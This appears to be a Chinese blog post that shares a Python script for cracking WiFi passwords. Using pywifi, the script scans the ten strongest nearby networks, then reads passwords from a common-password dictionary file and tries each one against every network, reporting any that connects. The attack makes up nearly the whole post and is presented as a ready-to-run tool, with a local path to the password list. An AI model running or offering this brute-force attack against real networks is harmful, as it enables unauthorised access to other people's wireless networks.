思路:
1、掃描前十個信號最好的wifi,得到ssid
2、然後用一個密碼,遍歷所有ssid,嘗試能否連接上
3、密碼正確連接上後,會報錯退出程序,否則會一直運行下去
4、本腳本沒有優化,運行時可能有bug
5、時間大概是2~3秒掃描一個ssid,根據計算機的不同可以修改,但是時間間隔太短會出錯,比如正確的密碼卻因時間太短認爲是錯誤的。
運行時的現象:
圖一:此處應該有一副圖片
# coding:utf-8
import time #時間
import pywifi #破解wifi
from pywifi import const #引用一些定義
from asyncio.tasks import sleep
class PoJie():
def __init__(self,path):
self.file=open(path,"r",errors="ignore")
wifi = pywifi.PyWiFi() #抓取網卡接口
self.iface = wifi.interfaces()[0]#抓取第一個無限網卡
self.iface.disconnect() #測試鏈接斷開所有鏈接
time.sleep(1) #休眠1秒
self.list=self.initialssidnamelist()
# 測試網卡是否屬於斷開狀態,
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def bies(self):
self.iface.scan() # 掃描
bessis = self.iface.scan_results()
list = []
for data in bessis:
list.append((data.ssid, data.signal))
return len(list), sorted(list, key=lambda st: st[1], reverse=True)
def getsignal(self):
while True:
n, data = self.bies()
time.sleep(1)
if n is not 0:
return data[0:10]
def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
for item in ssidlist:
namelist.append(item[0])
return namelist
def readPassWord(self,ssidname,myStr):
bool1=self.test_connect(myStr,ssidname)
if len(myStr)<8:
return False
if bool1:
print("密碼+++++++++++++正確:"+myStr+" "+ssidname)
return True
else:
print("密碼錯誤:"+myStr+" "+ssidname)
return False
def test_connect(self,findStr,ssidname):#測試鏈接
profile = pywifi.Profile() #創建wifi鏈接文件
profile.ssid =ssidname #wifi名稱
# profile.ssid ="Netcore" #wifi名稱
profile.auth = const.AUTH_ALG_OPEN #網卡的開放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密單元
profile.key = findStr #密碼
self.iface.remove_all_network_profiles() #刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#設定新的鏈接文件
self.iface.connect(tmp_profile)#鏈接
time.sleep(2)
if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上
isOK=True
else:
isOK=False
self.iface.disconnect() #斷開
time.sleep(1)
#檢查斷開狀態
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.list:
ret=self.readPassWord(ssidname,myStr)
if ret:
raise FileExistsError
def __del__(self):
self.file.close()
path=r"G:\DownLoad\6000常用密碼字典.txt"
start=PoJie(path)
start.run()